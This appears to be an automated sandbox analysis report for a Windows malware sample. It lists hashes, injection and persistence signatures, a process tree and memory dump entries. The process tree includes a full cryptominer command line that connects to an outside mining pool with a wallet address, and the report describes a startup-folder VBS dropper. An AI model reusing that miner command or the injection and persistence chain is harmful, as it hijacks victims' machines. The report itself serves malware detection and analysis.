5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e

Analysis

max time kernel
148s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-11-2024 20:02

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General

Target

5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe
Size

1.6MB
MD5

dce4e27a9b406b7ab027bf9120cbd586
SHA1

ae49c0d0e091519fe7dbb48c7300a823aa8bcf2d
SHA256

5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e
SHA512

4686553a9d596658db4feb55f55fb86315aa7eec4de2bb4dfdfd733268c9b03b311b0807e4c807866167c0a34a2dc26b090536bbdf920074c3fe32a1d52aa5aa
SSDEEP

24576:9sRgQPPLVkiouiRjaMkVRu9JS70cJscGh6U8mEGKacNpVAADNi5GeZTOjoR:9sV3LGjpkVIJunw98mTKfVAyNioSTOm

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

Processes:

5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exeInnerException.exeMSBuild.exe

description	pid	process	target process
PID 4552 created 3520	4552	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe	Explorer.EXE
PID 4012 created 3520	4012	InnerException.exe	Explorer.EXE
PID 3256 created 3520	3256	MSBuild.exe	Explorer.EXE

Drops startup file 1 IoCs

Processes:

5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FailedAssemblyInfo.vbs	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe

Executes dropped EXE 2 IoCs

Processes:

InnerException.exeInnerException.exe

pid process

4012 InnerException.exe
3476 InnerException.exe

pid	process
4012	InnerException.exe
3476	InnerException.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exeInnerException.exeInnerException.exeMSBuild.exeMSBuild.exe

description	pid	process	target process
PID 4552 set thread context of 1248	4552	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe
PID 4012 set thread context of 3476	4012	InnerException.exe	InnerException.exe
PID 3476 set thread context of 3256	3476	InnerException.exe	MSBuild.exe
PID 3256 set thread context of 2748	3256	MSBuild.exe	MSBuild.exe
PID 2748 set thread context of 1684	2748	MSBuild.exe	AddInProcess.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exeInnerException.exeMSBuild.exeMSBuild.exe

pid	process
4552	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe
4012	InnerException.exe
3256	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe
2748	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

Processes:

5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exeInnerException.exeInnerException.exeMSBuild.exeMSBuild.exeAddInProcess.exe

description	pid	process
Token: SeDebugPrivilege	4552	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe
Token: SeDebugPrivilege	4552	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe
Token: SeDebugPrivilege	1248	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe
Token: SeDebugPrivilege	4012	InnerException.exe
Token: SeDebugPrivilege	4012	InnerException.exe
Token: SeDebugPrivilege	3476	InnerException.exe
Token: SeDebugPrivilege	3256	MSBuild.exe
Token: SeDebugPrivilege	3256	MSBuild.exe
Token: SeDebugPrivilege	2748	MSBuild.exe
Token: SeLockMemoryPrivilege	1684	AddInProcess.exe
Token: SeLockMemoryPrivilege	1684	AddInProcess.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

AddInProcess.exe

pid process

1684 AddInProcess.exe

pid	process
1684	AddInProcess.exe

Suspicious use of WriteProcessMemory 38 IoCs

Processes:

5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exeInnerException.exeInnerException.exeMSBuild.exeMSBuild.exe

description	pid	process	target process
PID 4552 wrote to memory of 1248	4552	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe
PID 4552 wrote to memory of 1248	4552	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe
PID 4552 wrote to memory of 1248	4552	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe
PID 4552 wrote to memory of 1248	4552	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe
PID 4552 wrote to memory of 1248	4552	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe
PID 4552 wrote to memory of 1248	4552	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe	5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe
PID 4012 wrote to memory of 3476	4012	InnerException.exe	InnerException.exe
PID 4012 wrote to memory of 3476	4012	InnerException.exe	InnerException.exe
PID 4012 wrote to memory of 3476	4012	InnerException.exe	InnerException.exe
PID 4012 wrote to memory of 3476	4012	InnerException.exe	InnerException.exe
PID 4012 wrote to memory of 3476	4012	InnerException.exe	InnerException.exe
PID 4012 wrote to memory of 3476	4012	InnerException.exe	InnerException.exe
PID 3476 wrote to memory of 3256	3476	InnerException.exe	MSBuild.exe
PID 3476 wrote to memory of 3256	3476	InnerException.exe	MSBuild.exe
PID 3476 wrote to memory of 3256	3476	InnerException.exe	MSBuild.exe
PID 3476 wrote to memory of 3256	3476	InnerException.exe	MSBuild.exe
PID 3476 wrote to memory of 3256	3476	InnerException.exe	MSBuild.exe
PID 3476 wrote to memory of 3256	3476	InnerException.exe	MSBuild.exe
PID 3256 wrote to memory of 2748	3256	MSBuild.exe	MSBuild.exe
PID 3256 wrote to memory of 2748	3256	MSBuild.exe	MSBuild.exe
PID 3256 wrote to memory of 2748	3256	MSBuild.exe	MSBuild.exe
PID 3256 wrote to memory of 2748	3256	MSBuild.exe	MSBuild.exe
PID 3256 wrote to memory of 2748	3256	MSBuild.exe	MSBuild.exe
PID 3256 wrote to memory of 2748	3256	MSBuild.exe	MSBuild.exe
PID 2748 wrote to memory of 1684	2748	MSBuild.exe	AddInProcess.exe
PID 2748 wrote to memory of 1684	2748	MSBuild.exe	AddInProcess.exe
PID 2748 wrote to memory of 1684	2748	MSBuild.exe	AddInProcess.exe
PID 2748 wrote to memory of 1684	2748	MSBuild.exe	AddInProcess.exe
PID 2748 wrote to memory of 1684	2748	MSBuild.exe	AddInProcess.exe
PID 2748 wrote to memory of 1684	2748	MSBuild.exe	AddInProcess.exe
PID 2748 wrote to memory of 1684	2748	MSBuild.exe	AddInProcess.exe
PID 2748 wrote to memory of 1684	2748	MSBuild.exe	AddInProcess.exe
PID 2748 wrote to memory of 1684	2748	MSBuild.exe	AddInProcess.exe
PID 2748 wrote to memory of 1684	2748	MSBuild.exe	AddInProcess.exe
PID 2748 wrote to memory of 1684	2748	MSBuild.exe	AddInProcess.exe
PID 2748 wrote to memory of 1684	2748	MSBuild.exe	AddInProcess.exe
PID 2748 wrote to memory of 1684	2748	MSBuild.exe	AddInProcess.exe
PID 2748 wrote to memory of 1684	2748	MSBuild.exe	AddInProcess.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3520
- C:\Users\Admin\AppData\Local\Temp\5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe
  "C:\Users\Admin\AppData\Local\Temp\5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops startup file
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4552
- C:\Users\Admin\AppData\Local\Temp\5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe
  "C:\Users\Admin\AppData\Local\Temp\5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1248
- C:\Users\Admin\AppData\Roaming\Access\InnerException.exe
  "C:\Users\Admin\AppData\Roaming\Access\InnerException.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3476
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3256
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u KAS:kaspa:qqjn2sfatk0dmj0x47yns4xlyp3avwp46mhum864y5kc3hcrajwy7v5npvpn8.RIG_CPU -p x --cpu-max-threads-hint=50
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:1684

C:\Users\Admin\AppData\Roaming\Access\InnerException.exe
C:\Users\Admin\AppData\Roaming\Access\InnerException.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Access\InnerException.exe

Filesize
1.6MB

MD5
dce4e27a9b406b7ab027bf9120cbd586

SHA1
ae49c0d0e091519fe7dbb48c7300a823aa8bcf2d

SHA256
5b219722844718194c11874136d8b7b85ea25cda551d7002850cb930b9fc0b3e

SHA512
4686553a9d596658db4feb55f55fb86315aa7eec4de2bb4dfdfd733268c9b03b311b0807e4c807866167c0a34a2dc26b090536bbdf920074c3fe32a1d52aa5aa

Download Submit
memory/1248-1171-0x00007FFB5E350000-0x00007FFB5EE11000-memory.dmp

Filesize
10.8MB

Download
memory/1248-1170-0x00000255BFA60000-0x00000255BFB6A000-memory.dmp

Filesize
1.0MB

Download
memory/1248-1169-0x00000255A7120000-0x00000255A7128000-memory.dmp

Filesize
32KB

Download
memory/1248-1279-0x00007FFB5E350000-0x00007FFB5EE11000-memory.dmp

Filesize
10.8MB

Download
memory/1248-1167-0x0000000000400000-0x00000000004D0000-memory.dmp

Filesize
832KB

Download
memory/1248-5152-0x00007FFB5E350000-0x00007FFB5EE11000-memory.dmp

Filesize
10.8MB

Download
memory/1248-5148-0x00000255BFD90000-0x00000255BFDE4000-memory.dmp

Filesize
336KB

Download
memory/1248-5147-0x00000255BFBE0000-0x00000255BFC36000-memory.dmp

Filesize
344KB

Download
memory/4012-6315-0x00007FFB52730000-0x00007FFB531F1000-memory.dmp

Filesize
10.8MB

Download
memory/4012-6307-0x00007FFB52730000-0x00007FFB531F1000-memory.dmp

Filesize
10.8MB

Download
memory/4012-5156-0x00007FFB52730000-0x00007FFB531F1000-memory.dmp

Filesize
10.8MB

Download
memory/4012-5155-0x00007FFB52733000-0x00007FFB52735000-memory.dmp

Filesize
8KB

Download
memory/4552-32-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-14-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-51-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-49-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-47-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-45-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-42-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-61-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-58-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-55-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-53-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-40-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-38-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-36-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-34-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-63-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-28-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-22-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-20-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-18-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-16-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-59-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-12-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-10-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-8-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-6-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-4-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-3-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-43-0x00007FFB5E350000-0x00007FFB5EE11000-memory.dmp

Filesize
10.8MB

Download
memory/4552-1154-0x00007FFB5E350000-0x00007FFB5EE11000-memory.dmp

Filesize
10.8MB

Download
memory/4552-1155-0x00000236773A0000-0x00000236774AE000-memory.dmp

Filesize
1.1MB

Download
memory/4552-65-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-67-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-24-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-26-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-30-0x0000023677200000-0x0000023677399000-memory.dmp

Filesize
1.6MB

Download
memory/4552-2-0x0000023677200000-0x00000236773A0000-memory.dmp

Filesize
1.6MB

Download
memory/4552-1-0x0000023674B30000-0x0000023674CCE000-memory.dmp

Filesize
1.6MB

Download
memory/4552-0-0x00007FFB5E353000-0x00007FFB5E355000-memory.dmp

Filesize
8KB

Download
memory/4552-1156-0x0000023677150000-0x000002367719C000-memory.dmp

Filesize
304KB

Download
memory/4552-1157-0x00000236771A0000-0x00000236771F4000-memory.dmp

Filesize
336KB

Download
memory/4552-1160-0x00007FFB5E350000-0x00007FFB5EE11000-memory.dmp

Filesize
10.8MB

Download
memory/4552-1166-0x00007FFB5E350000-0x00007FFB5EE11000-memory.dmp

Filesize
10.8MB

Download
memory/4552-1168-0x00007FFB5E350000-0x00007FFB5EE11000-memory.dmp

Filesize
10.8MB

Download